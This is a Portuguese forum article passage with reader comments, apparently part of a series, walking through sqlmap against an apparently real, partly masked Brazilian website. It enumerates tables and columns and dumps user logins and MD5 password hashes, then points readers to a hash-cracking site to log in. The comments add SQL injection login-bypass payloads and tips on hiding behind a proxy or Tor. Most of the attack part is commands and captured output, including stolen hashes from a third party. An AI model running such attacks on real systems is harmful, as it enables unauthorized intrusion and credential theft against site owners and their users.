Festa com SQL injection

cristofe

SQL injection é uma tática hacker que utiliza uma linguagem bem conhecida: SQL (Structured Query Language) ou Linguagem de Consulta Estruturada, é utilizada pela maioria dos SGDB "software livre" do Brasil e do mundo. Ela pode ser uma solução, ou um problema na vida de um administrador de redes.

[ Hits: 69.507 ]

Por: cristofe coelho lopes da rocha em 20/05/2013

6 0

Denuncie Favoritos Indicar Impressora

Vias de fato!

Já que conhecemos os bancos, agora consultaremos as tabelas do Banco selecionado.

dbcp?? ou dbes???????

# sqlmap --url "http://www.??????.XXXX.br/XXXXXX/conc_docs/noticia/?id_noticia=85" -D dbcp?? --tables

Explicando 04

O parâmetro [-D] informa o banco selecionado e o '--table' solicita as tabelas existentes no banco solicitado, no caso, o dbcp??.

Código de retorno:


sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 20:39:23

*
*
+-----------------------------+
| XXXXX                       |
| tb_XXX                      |
| tb_XXXXX                    |
*
*
*
*
*
*
*
*
| tb_usuarios                 |
| tb_XXXXX                    |
| vest_XXXXX                  |
| vest_XXXX                   |
+-----------------------------+

[21:34:02] [INFO] Fetched data logged to text files under
  '/usr/local/lib/python2.7/site-packages/sqlmap/output/
  www.????????.XXXXX.br'

  [*] shutting down at: 21:34:02

Explicando 05

Acima, foi descrita a estrutura de tabelas do banco dbcp??. Não precisa explicar mais. Sem nenhuma pretensão, façamos o seguinte:

Ela parece que está pedindo! Vamos visualizar as colunas da tabela "tb_usuarios":

# sqlmap --url "http://www.??????.XXXX.br/XXXXXXX/conc_docs/noticia/?id_noticia=85" -D dbcp?? -T tb_usuarios --columns


sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 21:35:08

[21:35:08] [INFO] using '/usr/local/lib/python2.7/
 site-packages/sqlmap/output/www.????????.XXXXXX.br/
 session' as session file
[21:35:08] [INFO] resuming injection data from session file
[21:35:08] [INFO] resuming back-end DBMS 'mysql 5.0.11' from session file
[21:35:08] [INFO] testing connection to the target url
sqlmap identified the following injection points
 with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id_noticia
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id_noticia=85' AND 1304=1304 AND 'JTax'='JTax

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id_noticia=85' AND SLEEP(5) AND 'kFej'='kFej
---

[21:35:11] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
*
**
*****

+-------------+--------------------------+
| Column      | Type                     |
+-------------+--------------------------+
| ativo       | int(1) unsigned          |
| bairro      | varchar(40)              |
| cad_por     | varchar(255)             |
|*
*
*
*
*
*
*
*
*
*

| logado      | int(1) unsigned          |
| login       | varchar(30)              |
| mae         | varchar(50)              |
| marca       | int(1) unsigned          |
| nascimento  | date                     |
| nivel       | int(1) unsigned          |
| nome        | varchar(100)             |
| pai         | varchar(50)              |
| rg          | varchar(40)              |
| rgtipo      | varchar(25)              |
| rguf        | varchar(2)               |
| senha       | varchar(32)              |
| sessao      | varchar(32)              |
**
*
*

*
*
*
*

+-------------+--------------------------+

[23:06:49] [INFO] Fetched data logged to text files under
  '/usr/local/lib/python2.7/site-packages/sqlmap/output/
  www.????????.edu.br'

  [*] shutting down at: 23:06:49

Para evitar problemas, resolvi ocultar campos. Achei meio bizarro esta tabela. Alguns campos parecem uma lata de "leite moça", são eles: login e senha.

Bom, só nos restou a opção de consultar estes campos. Então, para a felicidade geral da nação, façamos o seguinte:

# sqlmap --url "http://www.??????.XXXX.br/XXXXXXXX/conc_docs/noticia/?id_noticia=85" -D dbcp?? -T tb_usuarios -C 'login,senha,id' --dump

Explicando 6

-C 'login,senha,id' --dump

Solicitam os registros nos campos: login,senha,id


sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 23:09:27

[23:09:27] [INFO] using 
 '/usr/local/lib/python2.7/site-packages/sqlmap/output/
 www.????????.XXXXX.br/session' as session file
[23:09:27] [INFO] resuming injection data from session file
[23:09:27] [INFO] resuming back-end DBMS 'mysql 5.0.11' from session file
[23:09:27] [INFO] testing connection to the target url
sqlmap identified the following injection points 
 with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id_noticia
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id_noticia=85' AND 1304=1304 AND 'JTax'='JTax

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id_noticia=85' AND SLEEP(5) AND 'kFej'='kFej
---

[23:09:30] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5.0.11
[23:09:30] [INFO] fetching columns 
 'login, senha, id' entries for table 'tb_usuarios' on database 'dbcp??'
[23:09:30] [INFO] fetching number of columns
  'login, senha, id' entries for table 'tb_usuarios' on database 'dbcp??'
[23:09:30] [INFO] retrieved: 17
[23:09:41] [INFO] retrieved: <USUARIO_01> rsrsrsrsrsr
[23:10:34] [INFO] retrieved: 25d55ad283aa400af464c76d713c07ad
[23:14:54] [INFO] retrieved: 01
[23:15:17] [INFO] retrieved: <USUARIO_02>srsrsrsrsrsr
[23:17:27] [INFO] retrieved: 7e85bcb66fb9a809d5ab4f62a8b8bea8
[23:21:42] [INFO] retrieved: 05
[23:22:05] [INFO] retrieved: <USUARIO_03>srsrsrsrs
[23:23:25] [INFO] retrieved: 066c4733a1be4c5d22d77d029f6423fe
[23:27:45] [INFO] retrieved: 06
[23:28:10] [INFO] retrieved: <USUARIO_04>srsrsrsr
[23:29:19] [INFO] retrieved: a8cbd92f01bf594d570a7d520b4ba52f
[23:33:36] [INFO] retrieved: 07
[23:33:59] [INFO] retrieved: <USUARIO_05>srsrsrsrsrsrs
[23:34:38] [INFO] retrieved: 33f07c5ed72212379b34c13d153aaae5
[23:38:51] [INFO] retrieved: 08
[23:39:14] [INFO] retrieved: <USUARIO_06>
[23:40:07] [INFO] retrieved: fdb1c5c757537b4c40482068997f6671
[23:44:22] [INFO] retrieved: 0^C[23:44:32] [WARNING] Ctrl+C detected in dumping phase
recognized possible password hash values.
 do you want to use dictionary attack on retrieved table items? [Y/n/q] Y
[23:44:39] [INFO] using hash method: 'md5_generic_passwd'
what's the dictionary's location? 
  [/usr/local/lib/python2.7/site-packages/sqlmap/txt/wordlist.txt]
  [23:44:51] [ERROR] user aborted

  [*] shutting down at: 23:44:51

Foram listados todos os usuários e senhas da tabela "tb_usuarios". Bacana.

Agora, apenas temos que descobrir uma forma de logar no sistema. Mas espera aí, as senhas estão cifradas em MD5. Como diria meu amigo Adnelson Jati, "putitanga". Não vou deixar ninguém na mão agora, então, coloquem seus hash MD5 em:

http://www.md5decrypt.org

E é só correr para o abraço!

Bom pessoal, com muito bom humor, passamos este tempo juntos, mas é muito importante falar. A Ética faz parte de um grupo de estudantes que buscam o conhecimento sem prejudicar ninguém.

Então, façamos o seguinte, na próxima brincadeira, vamos nos defender desta roubada que é SQL Injection com sqlmap.

Página anterior Próxima página

Páginas do artigo

   1. Ética hacker
   2. Funfando bacana!
   3. Good, let's move on!
   4. Vias de fato!
   5. Defendendo-se do golpe baixo!

Outros artigos deste autor

Alta disponibilidade com CARP

Redes definidas por Software com Mininet e POX - Criando meu primeiro Controlador

Backups com TAR e DUMP

Varredura bruta com NMAP

Um dia depois da inundação

Leitura recomendada

Vazamento de informações vitais via "HP Operations Manager Perfd"

Ataque de Rougue AP com AIRBASE-NG

Tutorial Netcat

Nagios - Automatizando Auditorias de Rootkit

Construindo um Log Server utilizando Linux, Unix e Windows

Comentários

[1] Comentário enviado por Buckminster em 20/05/2013 - 08:49h

Bom artigo.

0 0

[2] Comentário enviado por jcb em 20/05/2013 - 09:22h

Cristof, show de bola esse post, mas estou com uma duvida ... depois ter "injetado" com o sqlmap, consigo executar tais comandos como UPDATE TABLE, SELECT, WHERE ??

Abraços,

0 0

[3] Comentário enviado por cristofe em 20/05/2013 - 10:44h

Olá Jcb,

O SQL injection com SQLmap prova que o sistema tem vulnerabilidades com relação a injeção de sql, por tanto vc pode elaborar query sql para realizar a consulta que acha melhor. Espero ter respondido sua questão.

0 0

[4] Comentário enviado por nicolas.cb em 20/05/2013 - 13:57h

Seria melhor colocar o nome do artigo como "SQLMap tutorial".
http://logdopinguim.blogspot.com

0 0

[5] Comentário enviado por jcb em 20/05/2013 - 14:14h

Cisfote,

seguinte, só vou conseguir executar a query se eu conseguir "quebrar" e ter acesso ao usuário root ou / admin database certo ? só assim terei acesso ao shell para poder executar as query´s!!!

abs,

[3] Comentário enviado por cristofe em 20/05/2013 - 10:44h:

Olá Jcb,

O SQL injection com SQLmap prova que o sistema tem vulnerabilidades com relação a injeção de sql, por tanto vc pode elaborar query sql para realizar a consulta que acha melhor. Espero ter respondido sua questão.

0 0

[6] Comentário enviado por cristofe em 20/05/2013 - 14:36h

Não Jcb, sua query pode ser injetada em um campo do formulário. Mas neste caso vc estarei tentando trazer a consulta na mao.

0 0

[7] Comentário enviado por cristofe em 20/05/2013 - 14:42h

nao sei o q o colega acima quer dizer com o comentário de SQL tutorial, mas se observar direito tive a preocupação de realizar a instrução para a defesa do ataque e utilzei um ambiente BSD. Não encontrei nenhum artigo nesta base e não encontrei nada demais no blog dele. acho que ele esta tentando dizer que ninguém comentou o vídeo dele e nem assistiu. ;-).

Aqui é VIVA o LINUX brow !!
;-)

0 0

[8] Comentário enviado por danniel-lara em 21/05/2013 - 13:36h

Parabéns pelo Artigo , ficou bagual

0 0

[9] Comentário enviado por cristofe em 21/05/2013 - 16:04h

Agradeço pelo comentário Danie-lara. Qualquer coisa estamos a disposiçao

0 0

[10] Comentário enviado por leorocco em 21/05/2013 - 22:31h

"É 'velho', TI não é fácil." hehe

Valeu pelo artigo, cristofe!

Mas, qual a melhor maneira de se proteger quando se usa um CMS?

0 0

[11] Comentário enviado por joaocpimenta em 22/05/2013 - 11:11h

[10] Comentário enviado por leorocco em 21/05/2013 - 22:31h:

"É 'velho', TI não é fácil." hehe

Valeu pelo artigo, cristofe!

Mas, qual a melhor maneira de se proteger quando se usa um CMS?

Os fatores de tratamento e preocupações com o código da aplicação quanto a segurança permanecem os mesmos quando se utiliza um CMS.

Além disso, os componentes e plugins do CMS devem estar sempre atualizados. Um firewall de aplicação é sempre bem vindo.

0 0

[12] Comentário enviado por marcoscsouza em 24/05/2013 - 00:51h

Excelente!

1 0

[13] Comentário enviado por cristofe em 24/05/2013 - 23:11h

Quero lhe agradecer mesmo pelo comentário marcoscsouza. Precisamos ouvir mesmo este apoio.

0 0

[14] Comentário enviado por roberto_espreto em 26/05/2013 - 18:27h

Concordo com a opinião do "nicolas.cb", este tutorial não explica o por que uma aplicação fica vulnerável a SQLi e sim como utilizar o SQLMap.
E a dica de manter tudo atualizado não quer dizer nada. A aplicação deve fazer a sanitização dos dados de entrada de cada usuário corretamente e saber como tratar sua saída.

Exemplo: Considere o seguinte código abaixo para uma página (login.php) de autenticação simples:

$resultado = pg_query("SELECT * from users WHERE uid = '".$_GET['usuario']."' AND pwd = '".$_GET['password']."';");
if (pg_query($resultado) > 0) {
echo "Login efetuado com sucesso";
user_redireciona_painel_controle();
}

O que acontece se eu passar como parâmetro a seguinte requisição?

http://site/login.php?usuario=admin'--&password=e

Como o DB vai enxergar esta consulta?

pg_query("SELECT * from users WHERE uid = 'admin'--' AND pwd = 'e';");

E agora, consigo executar comandos no db sem usar ferramentas de automação?

requisição:
http://site/login.php?usuario=admin'; SELECT @@version;--&password=e

resposta:
5.5.31-0ubuntu0.13.04.1

Para erros de SQL entre outros, recomendo seguir os guias da OWASP:

https://www.owasp.org/index.php/SQL_Injection
https://www.owasp.org/index.php/Testing_for_SQL_Injection_%28OWASP-DV-005%29
https://www.owasp.org/index.php/Reviewing_Code_for_SQL_Injection
https://www.owasp.org/index.php/Guide_to_SQL_Injection

Claro, sobre como utilizar o sqlmap, a escrita do tutorial ficou boa! :D

Abs,

0 0

[15] Comentário enviado por cristofe em 26/05/2013 - 19:23h

Boa Roberto espreto,

Não entendi muito sobre concordar com o outro rapaz e dica de deixar tudo atualizado, como vc pode ver no início do artigo que vc nao leu todo. A intensão não é esgotar o assunto. Apenas explicar como acontece o ataque. Achei interessante postar. Quem sabe vc com toda a sua sabedoria curiosa dedica um tempo, assim como fiz, e produz algo mais completo. Criticar é fácil. De qualquer forma lhe agradeço.

0 0

[16] Comentário enviado por joaocpimenta em 27/05/2013 - 17:31h

"A dica de manter tudo atualizado não quer dizer nada"

Roberto, no caso de CMS (como perguntado acima) Joomla, WP, Drupal...Manter os components atualizados é fundamental, eles viabilizam e facilitam ataques SQLi.

Obviamente não substitui o tratamento do código, mas os bancos de dados default desses CMS muitas vezes negligenciam isso, e como não é do escopo do admin tratar esses bancos, vem a necessidade de manter atualizados os components.

Segue um exemplo de exploração em cima de components desatualizados.

http://www.exploit-db.com/exploits/17136/
http://www.exploit-db.com/exploits/15453/

0 0

[17] Comentário enviado por roberto_espreto em 27/05/2013 - 22:45h

cristofe,

Não me leve a mal, só quis dizer que não concordei com o título do artigo. Acho que deveria ser do tipo: "Explorando SQLi com SQLMap". Ao final falei que ficou bom. :)
Se você escrever para alguém com conhecimento mais crítico (exemplo, professor), a primeira coisa que ele irá perguntar será: Mas o que é SQL Injection? Imagina em um TCC. :)

joaocpimenta,

Quando disse: "A dica de manter tudo atualizado não quer dizer nada", realmente não significa muita coisa (mas deve ser feito, claro), pois existem novas vulnerabilidades que são descobertas em softwares "atualizados", os chamados 0-day. Ou seja, existe uma forma de explorar o software e ainda não existe correção para tal. Como me defendo contra este tipo de vulnerabilidade (0-day)? Existem N fatores que trabalham em conjunto em uma empresa/organização para minimizar estes riscos, exemplo, firewall de aplicação (Web Application Firewall - WAF), segmentação de ambientes, hardening de sistema operacional etc. A dica de atualização, é apenas uma, dentre várias.

Abs,

0 0

[18] Comentário enviado por cristofe em 27/05/2013 - 23:05h

Ok Roberto esperto, sem problemas. Se observar não tive realmente a intenção de esgotar o assunto, haja vista que é tenso. Todavia, o foco era mesmo o SQLMap. Não entendi o q há com o título, mas esquenta não. Somente um toque, pois as pessoas que escrevem para o VOL não ganham nada, e fazem de bom agrado.
Há Sim, deixa eu te, falar sou Professor do Instituto Federal e contribuo com o VOL desde 2006 e nunca agradei a todos. É assim mesmo !!
Forte Abraco !!!

0 0

[19] Comentário enviado por joaocpimenta em 28/05/2013 - 00:06h

[11] Comentário enviado por joaocpimenta em 22/05/2013 - 11:11h:

[10] Comentário enviado por leorocco em 21/05/2013 - 22:31h:

"É 'velho', TI não é fácil." hehe

Valeu pelo artigo, cristofe!

Mas, qual a melhor maneira de se proteger quando se usa um CMS?

Os fatores de tratamento e preocupações com o código da aplicação quanto a segurança permanecem os mesmos quando se utiliza um CMS.

Além disso, os componentes e plugins do CMS devem estar sempre atualizados. Um firewall de aplicação é sempre bem vindo.

Com certeza manter os components atualizados é uma das muitas coisas a se fazer... o WAF é uma boa, como eu havia sugerido também...

Por isso eu reforço: são N ações preventivas que não eliminam umas as outras. Um WAF não elimina a necessidade de Hardening, o Hardening não elimina a necessidade de código seguro e por aí vai...

No caso dos CMS, reforcei o aspecto de atualização, porque qualquer Zé pode rodar um exploit pronto contra uma vulnerabilidade conhecida e ter eficácia num dump de base por exemplo. É uma situação comum.

Já um 0 day é muito mais raro, mas obviamente não pode ser descartado.

Enfim... Segurança são muitos aspectos, citamos alguns superficialmente.

Abraço

0 0

[20] Comentário enviado por silent-man em 28/05/2013 - 16:34h

Eu ia comentar sobre o 0 day, mas já adiantaram. Além do mais, acredito que estão desviando o foco do ARTIGO.

Aos "hackudos", como bem colocou o autor do artigo: "Sem esquecer da nossa Maria da Penha e a Lei "Carolina Dieckmann", não esqueçam de utilizar um proxy

sqlmap.conf

proxy = http://ip_servidor_proxy:80

0 0

[21] Comentário enviado por Rafaelmspc em 29/05/2013 - 17:01h

A opção do sqlmap --proxy=http://ip:porta e ainda se for usar tor, a opção. --tor.

[20] Comentário enviado por silent-man em 28/05/2013 - 16:34h:

Eu ia comentar sobre o 0 day, mas já adiantaram. Além do mais, acredito que estão desviando o foco do ARTIGO.

Aos "hackudos", como bem colocou o autor do artigo: "Sem esquecer da nossa Maria da Penha e a Lei "Carolina Dieckmann", não esqueçam de utilizar um proxy

sqlmap.conf

proxy = http://ip_servidor_proxy:80

0 0